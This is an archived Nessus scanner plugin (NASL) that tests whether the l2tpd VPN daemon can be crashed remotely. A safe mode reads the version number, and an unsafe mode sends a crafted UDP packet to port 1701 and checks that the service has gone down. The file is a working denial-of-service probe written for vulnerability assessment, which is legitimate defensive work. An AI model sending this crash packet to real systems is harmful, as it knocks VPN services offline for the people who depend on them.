home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / l2tpd_dos.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  99 lines

  1. #
  2. #
  3. # This script is (C) 2003 Renaud Deraison
  4. #
  5. #
  6. # Ref: http://l2tpd.graffl.net/msg01238.html and
  7. #      http://l2tpd.graffl.net/msg01241.html
  8. #
  9. #
  10. # -> No official reply to my request on the l2tpd mailing list (except
  11. #    http://l2tpd.graffl.net/msg01241.html)
  12. # -> The author did not bother to reply to my e-mail
  13.  
  14. if (description)
  15. {
  16.  script_id(11494);
  17.  
  18.  script_version ("$Revision: 1.2 $");
  19.  script_name(english:"l2tpd DoS");
  20.  desc["english"] = "
  21. The remote host is running a version of l2tpd which can be disabled
  22. remotely.
  23.  
  24. An attacker may use this flaw to disable your VPN and prevent 
  25. partners/employees from connecting to it
  26.  
  27.  
  28. Solution : None at this time
  29. Risk factor : High";
  30.  
  31.  script_description(english:desc["english"]);
  32.  script_summary(english:"Determines the version of the remote l2tpd or crashes it");
  33.  script_category(ACT_MIXED_ATTACK);
  34.  script_family(english:"Denial of Service");
  35.  script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison");
  36.  exit(0);
  37. }
  38.  
  39.  
  40.  
  41.  
  42. function ping(flag)
  43. {
  44.  req = raw_string(0xC8,2,0,20,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,flag);
  45.  soc = open_sock_udp(1701);
  46.  send(socket:soc, data:req);
  47.  r = recv(socket:soc, length:1024);
  48.  close(soc);
  49.  if(r)return(1);
  50.  else return(0);
  51. }
  52.  
  53.  
  54.  
  55. function find_firmware(rep)
  56. {
  57.  local_var i, firmware;
  58.  
  59.  for(i=12;i<strlen(rep);i++)
  60.  { 
  61.   len = ord(rep[i]) * 256 + ord(rep[i+1]);
  62.   if(ord(rep[i]) & 0x80)len -= 0x80 * 256;
  63.   if(ord(rep[i+5]) == 6)
  64.   {
  65.    firmware = ord(rep[i+6]) * 256 + ord(rep[i+7]);
  66.    return firmware;
  67.   }
  68.   else i += len - 1;
  69.  }
  70.  return NULL;
  71. }
  72.  
  73.  
  74. if(safe_checks())
  75. {
  76.  req =  raw_string(0xC8,2,0,20,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0);
  77.  soc = open_sock_udp(1701);
  78.  send(socket:soc, data:req);
  79.  r = recv(socket:soc, length:1024);
  80.  if(!r)exit(0);
  81.  close(soc);
  82.  if(("l2tpd" >< r) || ("Adtran" >< r))
  83.  { 
  84.  firmware = find_firmware(rep:r);
  85.  hi = firmware / 256;
  86.  lo = firmware % 256;
  87.  
  88.  if((hi == 0x06)  && (lo <= 0x90))security_hole(port:1701, proto:"udp");
  89.  }
  90.  exit(0);
  91. }
  92.  
  93. # Unsafe check
  94. if(ping(flag:0))
  95. {
  96.    ping(flag:3);
  97.    if(ping(flag:0) == 0)security_hole(port:1701, proto:"udp");
  98. }
  99.